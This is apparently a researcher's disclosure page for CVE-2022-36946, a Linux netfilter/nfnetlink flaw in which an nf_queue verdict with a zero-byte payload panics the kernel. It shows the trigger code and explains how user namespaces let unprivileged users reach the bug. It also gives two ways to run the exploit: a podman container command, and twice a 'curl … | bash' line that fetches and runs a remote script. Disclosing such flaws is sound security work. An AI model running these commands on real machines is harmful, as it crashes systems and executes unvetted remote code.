CVE-2022-36946

Reported-by: Domingo Dirutigliano and Nicola Guerrera

While we were working on firegex, our application firewall for CTF Attack-Defence competitions, we stumbled upon a few kernel panics.

This strange behavour was than isolated and anlayzed, leading to the discovery of this potential security flaw in the netfilter module, specifically with nfnetlink.

How does it work?

The kernel panics when sending nf_queue verdict with 0-byte nfta_payload attribute.

nlh = nfq_nlmsg_put(buf, NFQNL_MSG_VERDICT, queue_num);
nfq_nlmsg_verdict_put_pkt(nlh, NULL, 0);
nfq_nlmsg_verdict_put(nlh, 1, NF_ACCEPT );

This happens because the IP/IPv6 stack pulls the IP(v6) header from the packet after the input hook.

So, if user truncates the packet below the header size, this skb_pull() will result in a malformed skb resulting in a panic.

Try it executing curl -sLf https://pwnzer0tt1.it/cve-2022-36946.sh | bash also with an unprivilaged user (more details below).

Do we really need root...?

Using linux namespaces, in particular user namespaces (enabled via kernel.unprivileged_userns_clone=1), a normal user is able to create a network namespace, enabling them to use the same kernel primitives that trigger the panic. This will allow you to use the vulnerability without having root.

This scenario is not uncommon: for example podman uses this option to run its (rootless) containers, and on some distros this option is enabled by default.

You can also try to execute the exploit without root privileges executing:

podman run -it --cap-add NET_ADMIN ghcr.io/pwnzer0tt1/cve-2022-36946

or if you want to test it on-fly (only tar and curl are required to be installed):

curl -sLf https://pwnzer0tt1.it/cve-2022-36946.sh | bash

Fix up

Fixed in linux kernel 5.19 view diff

Original patch by the linux kernel security team here

Requirements for exploiting this vuln:

• A vulnerable linux kernel
• CAP_NET_ADMIN capability (also in a namespace)

Why panic6?

It worked at the 6th attempt, so we kept the name.

A new way to poweroff your PC:

Presentation for DevFest-2023

https://docs.google.com/presentation/d/1SoSFxpfQ02_ZkLKFMxpkgst3F56sBiQN3FfNfTutxUs/edit?usp=sharing